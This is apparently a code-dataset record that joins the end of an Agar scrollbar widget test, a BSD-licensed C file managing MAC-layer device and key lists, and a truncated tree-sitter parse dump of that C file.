\"min\", 0ULL);\n\tAG_SetUint64(sb, \"max\", 100ULL);\n\tAG_SetUint64(sb, \"visible\", 10ULL);\n#endif\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Float binding: %f\", &vFlt);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindFloat(sb, \"value\", &vFlt);\n\tAG_SetFloat(sb, \"min\", 0.0f);\n\tAG_SetFloat(sb, \"max\", 1.0f);\n\tAG_SetFloat(sb, \"inc\", 0.01f);\n\t\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Double binding: %lf\", &vDbl);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindDouble(sb, \"value\", &vDbl);\n\tAG_SetDouble(sb, \"min\", -100.0);\n\tAG_SetDouble(sb, \"max\", +100.0);\n\tAG_SetDouble(sb, \"inc\", 1.0);\n\n#ifdef AG_HAVE_LONG_DOUBLE\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"Long Double binding: %llf\", &vLDbl);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindLongDouble(sb, \"value\", &vLDbl);\n#endif\n\treturn (0);\n}\n\nconst AG_TestCase scrollbarTest = {\n\t\"scrollbar\",\n\tN_(\"Test the AG_Scrollbar(3) widget\"),\n\t\"1.5.0\",\n\t0,\n\tsizeof(AG_TestInstance),\n\tNULL,\t\t/* init */\n\tNULL,\t\t/* destroy */\n\tNULL,\t\t/* test */\n\tTestGUI,\n\tNULL\t\t/* bench */\n};\n"}
81,125
c
/* * Copyright (c) 2015, <NAME> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "mac_private.h" #if 1 #undef WS_DEBUG #define WS_DEBUG(...) #endif mac_device_t * mac_device_get_by_short(uint16_t short_addr) { ws_list_t *ptr; mac_device_t *dev; WS_DEBUG("searching for %u\n", short_addr); for (ptr = mac.device_list.next; ptr != &mac.device_list; ptr = ptr->next) { dev = ws_list_get_data(ptr, mac_device_t, list); WS_DEBUG("comparing to: %u\n", dev->addr.short_addr); if (dev->addr.short_addr == short_addr) return dev; } return NULL; } mac_device_t * mac_device_get_by_extended(uint8_t *extended_addr) { ws_list_t *ptr; mac_device_t *dev; WS_DEBUG("Searching for %r\n", extended_addr, WS_MAC_ADDR_TYPE_EXTENDED_LEN); for (ptr = mac.device_list.next; ptr != &mac.device_list; ptr = ptr->next) { dev = ws_list_get_data(ptr, mac_device_t, list); WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr, WS_MAC_ADDR_TYPE_EXTENDED_LEN); if (memcmp(dev->addr.extended_addr, extended_addr, WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0) return dev; } return NULL; } mac_device_t * mac_device_get_by_addr(ws_mac_addr_t *addr) { WS_DEBUG("searching by address type: %u\n", addr->type); switch (addr->type) { case WS_MAC_ADDR_TYPE_SHORT: return mac_device_get_by_short(addr->short_addr); case WS_MAC_ADDR_TYPE_EXTENDED: return mac_device_get_by_extended(addr->extended_addr); default: WS_WARN("unknown address type\n"); return NULL; } } mac_key_t * mac_device_get_key(mac_device_t *dev, uint8_t index) { ws_list_t *ptr; mac_key_t *key; for (ptr = dev->key_list.next; ptr != &dev->key_list; ptr = ptr->next) { key = ws_list_get_data(ptr, mac_key_t, list); if (key->index == index) return key; } return NULL; } void mac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key) { mac_key_t *k = mac_device_get_key(dev, index); if (k != NULL) { WS_DEBUG("updating existing key (%u)\n", index); memcpy(k->key, key, WS_MAC_KEY_LEN); k->index = index; } else { k = (mac_key_t *)MALLOC(sizeof(mac_key_t)); if (k == NULL) { WS_ERROR("failed to allocate memory for new key\n"); return; } WS_DEBUG("adding new key (%u)\n", index); memcpy(k->key, key, WS_MAC_KEY_LEN); k->index = index; ws_list_add_after(&dev->key_list, &k->list); } } void mac_device_remove_key(mac_device_t *dev, uint8_t index) { mac_key_t *k = mac_device_get_key(dev, index); if (k != NULL) { WS_DEBUG("removing key (%u)\n", index); ws_list_remove(&k->list); FREE(k); } else { WS_WARN("no key (%u) to remove\n", index); } }
29.47
148
(translation_unit) "/*\n * Copyright (c) 2015, <NAME>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include "mac_private.h"\n\n\n#if 1\n#undef WS_DEBUG\n#define WS_DEBUG(...)\n#endif\n\n\nmac_device_t *\nmac_device_get_by_short(uint16_t short_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG("searching for %u\n", short_addr);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %u\n", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }\n\n return NULL;\n}\n\n\nmac_device_t *\nmac_device_get_by_extended(uint8_t *extended_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG("Searching for %r\n", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }\n\n return NULL;\n}\n\n\nmac_device_t *\nmac_device_get_by_addr(ws_mac_addr_t *addr)\n{\n WS_DEBUG("searching by address type: %u\n", addr->type);\n switch (addr->type)\n {\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN("unknown address type\n");\n return NULL;\n }\n}\n\n\nmac_key_t *\nmac_device_get_key(mac_device_t *dev, uint8_t index)\n{\n ws_list_t *ptr;\n mac_key_t *key;\n\n for (ptr = dev->key_list.next;\n ptr != &dev->key_list;\n ptr = ptr->next)\n {\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }\n\n return NULL;\n}\n\n\nvoid\nmac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG("updating existing key (%u)\n", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }\n else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR("failed to allocate memory for new key\n");\n return;\n }\n\n WS_DEBUG("adding new key (%u)\n", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }\n}\n\n\nvoid\nmac_device_remove_key(mac_device_t *dev, uint8_t index)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG("removing key (%u)\n", index);\n ws_list_remove(&k->list);\n FREE(k);\n }\n else\n {\n WS_WARN("no key (%u) to remove\n", index);\n }\n}\n" (comment) "/*\n * Copyright (c) 2015, <NAME>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */" (preproc_include) "#include "mac_private.h"\n" (#include) "#include" (string_literal) ""mac_private.h"" (") """ (string_content) "mac_private.h" (") """ (preproc_if) "#if 1\n#undef WS_DEBUG\n#define WS_DEBUG(...)\n#endif" (#if) "#if" (number_literal) "1" ( ) "\n" (preproc_call) "#undef WS_DEBUG\n" (preproc_directive) "#undef" (preproc_arg) "WS_DEBUG" (preproc_function_def) "#define WS_DEBUG(...)\n" (#define) "#define" (identifier) "WS_DEBUG" (preproc_params) "(...)" (() "(" (...) "..." ()) ")" (#endif) "#endif" (function_definition) "mac_device_t *\nmac_device_get_by_short(uint16_t short_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG("searching for %u\n", short_addr);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %u\n", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }\n\n return NULL;\n}" (type_identifier) "mac_device_t" (pointer_declarator) "*\nmac_device_get_by_short(uint16_t short_addr)" (*) "*" (function_declarator) "mac_device_get_by_short(uint16_t short_addr)" (identifier) "mac_device_get_by_short" (parameter_list) "(uint16_t short_addr)" (() "(" (parameter_declaration) "uint16_t short_addr" (primitive_type) "uint16_t" (identifier) "short_addr" ()) ")" (compound_statement) "{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG("searching for %u\n", short_addr);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %u\n", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }\n\n return NULL;\n}" ({) "{" (declaration) "ws_list_t *ptr;" (type_identifier) "ws_list_t" (pointer_declarator) "*ptr" (*) "*" (identifier) "ptr" (;) ";" (declaration) "mac_device_t *dev;" (type_identifier) "mac_device_t" (pointer_declarator) "*dev" (*) "*" (identifier) "dev" (;) ";" (expression_statement) "WS_DEBUG("searching for %u\n", short_addr);" (call_expression) "WS_DEBUG("searching for %u\n", short_addr)" (identifier) "WS_DEBUG" (argument_list) "("searching for %u\n", short_addr)" (() "(" (string_literal) ""searching for %u\n"" (") """ (string_content) "searching for %u" (escape_sequence) "\n" (") """ (,) "," (identifier) "short_addr" ()) ")" (;) ";" (for_statement) "for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %u\n", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }" (for) "for" (() "(" (assignment_expression) "ptr = mac.device_list.next" (identifier) "ptr" (=) "=" (field_expression) "mac.device_list.next" (field_expression) "mac.device_list" (identifier) "mac" (.) "." (field_identifier) "device_list" (.) "." (field_identifier) "next" (;) ";" (binary_expression) "ptr != &mac.device_list" (identifier) "ptr" (!=) "!=" (pointer_expression) "&mac.device_list" (&) "&" (field_expression) "mac.device_list" (identifier) "mac" (.) "." (field_identifier) "device_list" (;) ";" (assignment_expression) "ptr = ptr->next" (identifier) "ptr" (=) "=" (field_expression) "ptr->next" (identifier) "ptr" (->) "->" (field_identifier) "next" ()) ")" (compound_statement) "{\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %u\n", dev->addr.short_addr);\n if (dev->addr.short_addr == short_addr)\n return dev;\n }" ({) "{" (expression_statement) "dev = ws_list_get_data(ptr, mac_device_t, list);" (assignment_expression) "dev = ws_list_get_data(ptr, mac_device_t, list)" (identifier) "dev" (=) "=" (call_expression) "ws_list_get_data(ptr, mac_device_t, list)" (identifier) "ws_list_get_data" (argument_list) "(ptr, mac_device_t, list)" (() "(" (identifier) "ptr" (,) "," (identifier) "mac_device_t" (,) "," (identifier) "list" ()) ")" (;) ";" (expression_statement) "WS_DEBUG("comparing to: %u\n", dev->addr.short_addr);" (call_expression) "WS_DEBUG("comparing to: %u\n", dev->addr.short_addr)" (identifier) "WS_DEBUG" (argument_list) "("comparing to: %u\n", dev->addr.short_addr)" (() "(" (string_literal) ""comparing to: %u\n"" (") """ (string_content) "comparing to: %u" (escape_sequence) "\n" (") """ (,) "," (field_expression) "dev->addr.short_addr" (field_expression) "dev->addr" (identifier) "dev" (->) "->" (field_identifier) "addr" (.) "." (field_identifier) "short_addr" ()) ")" (;) ";" (if_statement) "if (dev->addr.short_addr == short_addr)\n return dev;" (if) "if" (parenthesized_expression) "(dev->addr.short_addr == short_addr)" (() "(" (binary_expression) "dev->addr.short_addr == short_addr" (field_expression) "dev->addr.short_addr" (field_expression) "dev->addr" (identifier) "dev" (->) "->" (field_identifier) "addr" (.) "." (field_identifier) "short_addr" (==) "==" (identifier) "short_addr" ()) ")" (return_statement) "return dev;" (return) "return" (identifier) "dev" (;) ";" (}) "}" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (function_definition) "mac_device_t *\nmac_device_get_by_extended(uint8_t *extended_addr)\n{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG("Searching for %r\n", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }\n\n return NULL;\n}" (type_identifier) "mac_device_t" (pointer_declarator) "*\nmac_device_get_by_extended(uint8_t *extended_addr)" (*) "*" (function_declarator) "mac_device_get_by_extended(uint8_t *extended_addr)" (identifier) "mac_device_get_by_extended" (parameter_list) "(uint8_t *extended_addr)" (() "(" (parameter_declaration) "uint8_t *extended_addr" (primitive_type) "uint8_t" (pointer_declarator) "*extended_addr" (*) "*" (identifier) "extended_addr" ()) ")" (compound_statement) "{\n ws_list_t *ptr;\n mac_device_t *dev;\n\n WS_DEBUG("Searching for %r\n", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n\n for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }\n\n return NULL;\n}" ({) "{" (declaration) "ws_list_t *ptr;" (type_identifier) "ws_list_t" (pointer_declarator) "*ptr" (*) "*" (identifier) "ptr" (;) ";" (declaration) "mac_device_t *dev;" (type_identifier) "mac_device_t" (pointer_declarator) "*dev" (*) "*" (identifier) "dev" (;) ";" (expression_statement) "WS_DEBUG("Searching for %r\n", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);" (call_expression) "WS_DEBUG("Searching for %r\n", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)" (identifier) "WS_DEBUG" (argument_list) "("Searching for %r\n", extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)" (() "(" (string_literal) ""Searching for %r\n"" (") """ (string_content) "Searching for %r" (escape_sequence) "\n" (") """ (,) "," (identifier) "extended_addr" (,) "," (identifier) "WS_MAC_ADDR_TYPE_EXTENDED_LEN" ()) ")" (;) ";" (for_statement) "for (ptr = mac.device_list.next;\n ptr != &mac.device_list;\n ptr = ptr->next)\n {\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }" (for) "for" (() "(" (assignment_expression) "ptr = mac.device_list.next" (identifier) "ptr" (=) "=" (field_expression) "mac.device_list.next" (field_expression) "mac.device_list" (identifier) "mac" (.) "." (field_identifier) "device_list" (.) "." (field_identifier) "next" (;) ";" (binary_expression) "ptr != &mac.device_list" (identifier) "ptr" (!=) "!=" (pointer_expression) "&mac.device_list" (&) "&" (field_expression) "mac.device_list" (identifier) "mac" (.) "." (field_identifier) "device_list" (;) ";" (assignment_expression) "ptr = ptr->next" (identifier) "ptr" (=) "=" (field_expression) "ptr->next" (identifier) "ptr" (->) "->" (field_identifier) "next" ()) ")" (compound_statement) "{\n dev = ws_list_get_data(ptr, mac_device_t, list);\n WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);\n if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;\n }" ({) "{" (expression_statement) "dev = ws_list_get_data(ptr, mac_device_t, list);" (assignment_expression) "dev = ws_list_get_data(ptr, mac_device_t, list)" (identifier) "dev" (=) "=" (call_expression) "ws_list_get_data(ptr, mac_device_t, list)" (identifier) "ws_list_get_data" (argument_list) "(ptr, mac_device_t, list)" (() "(" (identifier) "ptr" (,) "," (identifier) "mac_device_t" (,) "," (identifier) "list" ()) ")" (;) ";" (expression_statement) "WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN);" (call_expression) "WS_DEBUG("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)" (identifier) "WS_DEBUG" (argument_list) "("comparing to: %r\n", dev->addr.extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)" (() "(" (string_literal) ""comparing to: %r\n"" (") """ (string_content) "comparing to: %r" (escape_sequence) "\n" (") """ (,) "," (field_expression) "dev->addr.extended_addr" (field_expression) "dev->addr" (identifier) "dev" (->) "->" (field_identifier) "addr" (.) "." (field_identifier) "extended_addr" (,) "," (identifier) "WS_MAC_ADDR_TYPE_EXTENDED_LEN" ()) ")" (;) ";" (if_statement) "if (memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)\n return dev;" (if) "if" (parenthesized_expression) "(memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0)" (() "(" (binary_expression) "memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN) == 0" (call_expression) "memcmp(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)" (identifier) "memcmp" (argument_list) "(dev->addr.extended_addr, extended_addr,\n WS_MAC_ADDR_TYPE_EXTENDED_LEN)" (() "(" (field_expression) "dev->addr.extended_addr" (field_expression) "dev->addr" (identifier) "dev" (->) "->" (field_identifier) "addr" (.) "." (field_identifier) "extended_addr" (,) "," (identifier) "extended_addr" (,) "," (identifier) "WS_MAC_ADDR_TYPE_EXTENDED_LEN" ()) ")" (==) "==" (number_literal) "0" ()) ")" (return_statement) "return dev;" (return) "return" (identifier) "dev" (;) ";" (}) "}" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (function_definition) "mac_device_t *\nmac_device_get_by_addr(ws_mac_addr_t *addr)\n{\n WS_DEBUG("searching by address type: %u\n", addr->type);\n switch (addr->type)\n {\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN("unknown address type\n");\n return NULL;\n }\n}" (type_identifier) "mac_device_t" (pointer_declarator) "*\nmac_device_get_by_addr(ws_mac_addr_t *addr)" (*) "*" (function_declarator) "mac_device_get_by_addr(ws_mac_addr_t *addr)" (identifier) "mac_device_get_by_addr" (parameter_list) "(ws_mac_addr_t *addr)" (() "(" (parameter_declaration) "ws_mac_addr_t *addr" (type_identifier) "ws_mac_addr_t" (pointer_declarator) "*addr" (*) "*" (identifier) "addr" ()) ")" (compound_statement) "{\n WS_DEBUG("searching by address type: %u\n", addr->type);\n switch (addr->type)\n {\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN("unknown address type\n");\n return NULL;\n }\n}" ({) "{" (expression_statement) "WS_DEBUG("searching by address type: %u\n", addr->type);" (call_expression) "WS_DEBUG("searching by address type: %u\n", addr->type)" (identifier) "WS_DEBUG" (argument_list) "("searching by address type: %u\n", addr->type)" (() "(" (string_literal) ""searching by address type: %u\n"" (") """ (string_content) "searching by address type: %u" (escape_sequence) "\n" (") """ (,) "," (field_expression) "addr->type" (identifier) "addr" (->) "->" (field_identifier) "type" ()) ")" (;) ";" (switch_statement) "switch (addr->type)\n {\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN("unknown address type\n");\n return NULL;\n }" (switch) "switch" (parenthesized_expression) "(addr->type)" (() "(" (field_expression) "addr->type" (identifier) "addr" (->) "->" (field_identifier) "type" ()) ")" (compound_statement) "{\n case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);\n\n case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);\n\n default:\n WS_WARN("unknown address type\n");\n return NULL;\n }" ({) "{" (case_statement) "case WS_MAC_ADDR_TYPE_SHORT:\n return mac_device_get_by_short(addr->short_addr);" (case) "case" (identifier) "WS_MAC_ADDR_TYPE_SHORT" (:) ":" (return_statement) "return mac_device_get_by_short(addr->short_addr);" (return) "return" (call_expression) "mac_device_get_by_short(addr->short_addr)" (identifier) "mac_device_get_by_short" (argument_list) "(addr->short_addr)" (() "(" (field_expression) "addr->short_addr" (identifier) "addr" (->) "->" (field_identifier) "short_addr" ()) ")" (;) ";" (case_statement) "case WS_MAC_ADDR_TYPE_EXTENDED:\n return mac_device_get_by_extended(addr->extended_addr);" (case) "case" (identifier) "WS_MAC_ADDR_TYPE_EXTENDED" (:) ":" (return_statement) "return mac_device_get_by_extended(addr->extended_addr);" (return) "return" (call_expression) "mac_device_get_by_extended(addr->extended_addr)" (identifier) "mac_device_get_by_extended" (argument_list) "(addr->extended_addr)" (() "(" (field_expression) "addr->extended_addr" (identifier) "addr" (->) "->" (field_identifier) "extended_addr" ()) ")" (;) ";" (case_statement) "default:\n WS_WARN("unknown address type\n");\n return NULL;" (default) "default" (:) ":" (expression_statement) "WS_WARN("unknown address type\n");" (call_expression) "WS_WARN("unknown address type\n")" (identifier) "WS_WARN" (argument_list) "("unknown address type\n")" (() "(" (string_literal) ""unknown address type\n"" (") """ (string_content) "unknown address type" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (}) "}" (function_definition) "mac_key_t *\nmac_device_get_key(mac_device_t *dev, uint8_t index)\n{\n ws_list_t *ptr;\n mac_key_t *key;\n\n for (ptr = dev->key_list.next;\n ptr != &dev->key_list;\n ptr = ptr->next)\n {\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }\n\n return NULL;\n}" (type_identifier) "mac_key_t" (pointer_declarator) "*\nmac_device_get_key(mac_device_t *dev, uint8_t index)" (*) "*" (function_declarator) "mac_device_get_key(mac_device_t *dev, uint8_t index)" (identifier) "mac_device_get_key" (parameter_list) "(mac_device_t *dev, uint8_t index)" (() "(" (parameter_declaration) "mac_device_t *dev" (type_identifier) "mac_device_t" (pointer_declarator) "*dev" (*) "*" (identifier) "dev" (,) "," (parameter_declaration) "uint8_t index" (primitive_type) "uint8_t" (identifier) "index" ()) ")" (compound_statement) "{\n ws_list_t *ptr;\n mac_key_t *key;\n\n for (ptr = dev->key_list.next;\n ptr != &dev->key_list;\n ptr = ptr->next)\n {\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }\n\n return NULL;\n}" ({) "{" (declaration) "ws_list_t *ptr;" (type_identifier) "ws_list_t" (pointer_declarator) "*ptr" (*) "*" (identifier) "ptr" (;) ";" (declaration) "mac_key_t *key;" (type_identifier) "mac_key_t" (pointer_declarator) "*key" (*) "*" (identifier) "key" (;) ";" (for_statement) "for (ptr = dev->key_list.next;\n ptr != &dev->key_list;\n ptr = ptr->next)\n {\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }" (for) "for" (() "(" (assignment_expression) "ptr = dev->key_list.next" (identifier) "ptr" (=) "=" (field_expression) "dev->key_list.next" (field_expression) "dev->key_list" (identifier) "dev" (->) "->" (field_identifier) "key_list" (.) "." (field_identifier) "next" (;) ";" (binary_expression) "ptr != &dev->key_list" (identifier) "ptr" (!=) "!=" (pointer_expression) "&dev->key_list" (&) "&" (field_expression) "dev->key_list" (identifier) "dev" (->) "->" (field_identifier) "key_list" (;) ";" (assignment_expression) "ptr = ptr->next" (identifier) "ptr" (=) "=" (field_expression) "ptr->next" (identifier) "ptr" (->) "->" (field_identifier) "next" ()) ")" (compound_statement) "{\n key = ws_list_get_data(ptr, mac_key_t, list);\n if (key->index == index)\n return key;\n }" ({) "{" (expression_statement) "key = ws_list_get_data(ptr, 